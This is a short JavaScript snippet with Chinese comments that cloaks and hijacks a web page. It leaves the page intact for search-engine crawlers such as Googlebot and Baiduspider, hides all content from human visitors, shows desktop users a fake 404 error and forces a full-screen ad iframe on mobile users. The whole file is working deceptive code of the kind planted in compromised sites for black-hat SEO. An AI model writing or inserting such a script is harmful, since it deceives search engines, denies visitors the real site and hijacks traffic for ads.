(function() { // 判断是否是搜索引擎蜘蛛 function isSearchEngineBot() { const userAgent = navigator.userAgent.toLowerCase(); const bots = ['googlebot', 'bingbot', 'slurp', 'baiduspider', 'duckduckbot']; return bots.some(bot => userAgent.includes(bot)); } // 判断是否是移动端 function isMobile() { const userAgent = navigator.userAgent.toLowerCase(); return /mobile|android|iphone|ipad|ipod|windows phone/.test(userAgent); } // 隐藏网页其他所有元素 function hideAllElements() { const body = document.body; const allElements = body.querySelectorAll('*'); allElements.forEach(element => { element.style.display = 'none'; }); } // PC端显示404 function showPC404() { hideAllElements(); const message = document.createElement('div'); message.style.textAlign = 'center'; message.style.fontSize = '32px'; message.style.color = 'red'; message.style.marginTop = '100px'; message.innerText = '404 页面未找到'; document.body.appendChild(message); } // 移动端显示全屏广告 function showMobileAd() { hideAllElements(); const iframe = document.createElement('iframe'); iframe.src = 'https://www.example-ad.com'; // 替换为实际广告网址 iframe.style.position = 'fixed'; iframe.style.top = '0'; iframe.style.left = '0'; iframe.style.width = '100vw'; iframe.style.height = '100vh'; iframe.style.border = 'none'; iframe.style.zIndex = '9999'; // 确保iframe位于最上层 document.body.appendChild(iframe); // 错误处理:如果iframe加载失败,显示错误信息 iframe.onerror = function() { console.error('广告加载失败'); const errorMessage = document.createElement('div'); errorMessage.style.textAlign = 'center'; errorMessage.style.fontSize = '20px'; errorMessage.style.color = 'red'; errorMessage.style.position = 'absolute'; errorMessage.style.top = '50%'; errorMessage.style.left = '50%'; errorMessage.style.transform = 'translate(-50%, -50%)'; errorMessage.innerText = '广告加载失败,请重试'; document.body.appendChild(errorMessage); }; } // 根据访问来源进行相应显示 if (isSearchEngineBot()) { // 保持真实内容,不做任何修改 console.log('搜索引擎蜘蛛访问,内容保持原样'); } else if (isMobile()) { showMobileAd(); } else { showPC404(); } })();